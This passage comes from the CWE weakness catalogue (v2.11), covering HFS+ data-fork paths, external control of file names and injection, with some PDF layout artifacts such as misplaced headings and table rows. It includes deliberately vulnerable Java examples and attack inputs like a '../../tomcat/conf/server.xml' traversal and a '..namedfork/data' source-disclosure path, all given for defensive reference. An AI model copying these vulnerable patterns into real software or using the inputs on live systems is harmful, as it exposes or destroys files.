<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>699  101</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>68</td>
<td>Windows Virtual File Problems</td>
<td>631  104</td>
</tr>
<tr>
<td></td>
<td>☐</td>
<td>699</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>699</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream Path</td>
<td>631  107</td>
</tr>
</tbody>
</table>

Theoretical Notes

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Affected Resources

- System Process

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Mac Virtual File problems</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>Cause Web Server Misclassification</td>
<td></td>
</tr>
<tr>
<td>168</td>
<td>Windows ::DATA Alternate Data Stream</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-70: Mac Virtual File Problems

Category ID: 70 (Category) Status: Draft

Description

Summary

Weaknesses in this category are related to improper handling of virtual files within Mac-based operating systems.

Applicable Platforms

Languages

- All

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>699  101</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>71</td>
<td>Apple .DS_Store</td>
<td>631  106</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>72</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream Path</td>
<td>631  107</td>
</tr>
</tbody>
</table>

Affected Resources

- File/Directory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Mac Virtual File problems</td>
</tr>
</tbody>
</table>

CWE-71: Apple .DS_Store'

Weakness ID: 71 (Weakness Variant) Status: Incomplete

Description
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Summary

Software operating in a MAC OS environment, where .DS_Store is in effect, must carefully manage hard links, otherwise an attacker may be able to leverage a hard link from .DS_Store to overwrite arbitrary files and gain privileges.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Observed Examples

Reference | Description
--- | ---
BUGTRAQ:20010910 | More security problems in Apache on Mac OS X
CVE-2005-0342 | The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>62</td>
<td>UNIX Hard Link</td>
<td>96</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>70</td>
<td>Mac Virtual File Problems</td>
<td>106</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>1388</td>
</tr>
</tbody>
</table>

Research Gaps

Under-studied

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>DS - Apple <code>.DS_Store</code></td>
</tr>
</tbody>
</table>

Maintenance Notes

This entry, which originated from PLOVER, probably stems from a common manipulation that is used to exploit symlink and hard link following weaknesses, like /etc/passwd is often used for UNIX-based exploits. As such, it is probably too low-level for inclusion in CWE.

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID: 72 (Weakness Variant)  Status: Incomplete

Description

Summary

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Time of Introduction
CWE Version 2.11
CWE-73: External Control of File Name or Path

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Operating Systems
- Mac OS

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples
A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1084</td>
<td>Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.</td>
</tr>
</tbody>
</table>

Background Details
The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.
Forks can also be accessed through non-portable APIs.
Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>101</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>70</td>
<td>Mac Virtual File Problems</td>
<td>106</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>1388</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied

Theoretical Notes
This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Apple HFS+ alternate data stream</td>
</tr>
</tbody>
</table>

References

CWE-73: External Control of File Name or Path

Weakness ID: 73 (Weakness Class) Status: Draft
Description

Summary
The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description
This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:
1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• All

Operating Systems
• UNIX (Often)
• Windows (Often)
• Mac OS (Often)

Common Consequences

Integrity
Confidentiality
Read files or directories
Modify files or directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.

Integrity
Confidentiality
Availability
Modify files or directories
Execute unauthorized code or commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.

Availability
DoS: crash / exit / restart
DoS: resource consumption (other)

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

Likelihood of Exploit
High to Very High

Detection Methods
Automated Static Analysis
The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.
Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Demonstrative Examples

Example 1:
The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Java Example:
```java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
  rFile.delete();
```

Example 2:
The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Java Example:
```java
fis = new FileInputStream(cfg.getProperty("sub")+.txt);
amt = fis.read(arr);
out.println(arr);
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-5748</td>
<td>Chain: external control of values for user's desired language and theme enables path traversal.</td>
</tr>
<tr>
<td>CVE-2008-5764</td>
<td>Chain: external control of user's target language enables remote file inclusion.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Architecture and Design
Operation
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
CWE Version 2.11
CWE-73: External Control of File Name or Path

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "./" string.

Implementation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Installation

Operation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Operation

Implementation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Weakness Ordinalities

**Primary (where the weakness exists independent of other weaknesses)**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Relationship Notes**

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Path Manipulation</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO01-CPP</td>
<td>Be careful using functions that use file names for identification</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO02-CPP</td>
<td>Canonicalize path names originating from untrusted sources</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
<td></td>
</tr>
<tr>
<td>64</td>
<td>Using Slashes and URL Encoding Combined to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>72</td>
<td>URL Encoding</td>
<td></td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

CAPEC-ID | Attack Pattern Name | (CAPEC Version 2.10)
---|---|---
76 | Manipulating Web Input to File System Calls |
78 | Using Escaped Slashes in Alternate Encoding |
79 | Using Slashes in Alternate Encoding |
80 | Using UTF-8 Encoding to Bypass Validation Logic |
267 | Leverage Alternate Encoding |

References

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID: 74 (Weakness Class) Status: Incomplete

Description
Summary
The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Extended Description
Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Read application data
Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.

Access Control
Bypass protection mechanism
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Other
Alter execution logic
Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.
Integrity
Other
Other
Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.

Non-Repudiation
Hide activities
Often the actions performed by injected control code are unlogged.

Likelihood of Exploit
Very High

Potential Mitigations
Requirements
Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation
Utilize an appropriate mix of whitelist and blacklist parsing to filter control-plane syntax from all input.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>217</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1110</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1121</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>18</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>116</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>117</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>131</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>170</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>172</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>173</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>190</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>217</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>277</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>284</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1373</td>
</tr>
</tbody>
</table>
Relationship Notes
In the development view (CWE-699), this is classified as an Input Validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. In the research view (CWE-1000), however, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>Buffer Overflow in an API Call</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>Buffer Overflow in Local Command-Line Utilities</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
<td></td>
</tr>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>Client-side Injection-induced Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>Filter Failure through Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>28</td>
<td>Fuzzing</td>
<td></td>
</tr>
<tr>
<td>34</td>
<td>HTTP Response Splitting</td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>Manipulating Writeable Terminal Devices</td>
<td></td>
</tr>
<tr>
<td>42</td>
<td>MIME Conversion</td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
<td></td>
</tr>
<tr>
<td>46</td>
<td>Overflow Variables and Tags</td>
<td></td>
</tr>
<tr>
<td>47</td>
<td>Buffer Overflow via Parameter Expansion</td>
<td></td>
</tr>
<tr>
<td>51</td>
<td>Poison Web Service Registry</td>
<td></td>
</tr>
<tr>
<td>52</td>
<td>Embedding NULL Bytes</td>
<td></td>
</tr>
<tr>
<td>53</td>
<td>Postfix, Null Terminate, and Backslash</td>
<td></td>
</tr>
<tr>
<td>64</td>
<td>Using Slashes and URL Encoding Combined to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>66</td>
<td>SQL Injection</td>
<td></td>
</tr>
<tr>
<td>67</td>
<td>String Format Overflow in syslog()</td>
<td></td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>72</td>
<td>URL Encoding</td>
<td></td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
<td></td>
</tr>
<tr>
<td>78</td>
<td>Using Escaped Slashes in Alternate Encoding</td>
<td></td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
<td></td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>83</td>
<td>XPath Injection</td>
<td></td>
</tr>
<tr>
<td>84</td>
<td>XQuery Injection</td>
<td></td>
</tr>
<tr>
<td>101</td>
<td>Server Side Include (SSI) Injection</td>
<td></td>
</tr>
<tr>
<td>108</td>
<td>Command Line Execution through SQL Injection</td>
<td></td>
</tr>
<tr>
<td>135</td>
<td>Format String Injection</td>
<td></td>
</tr>
<tr>
<td>242</td>
<td>Code Injection</td>
<td></td>
</tr>
<tr>
<td>250</td>
<td>XML Injection</td>
<td></td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
<td></td>
</tr>
<tr>
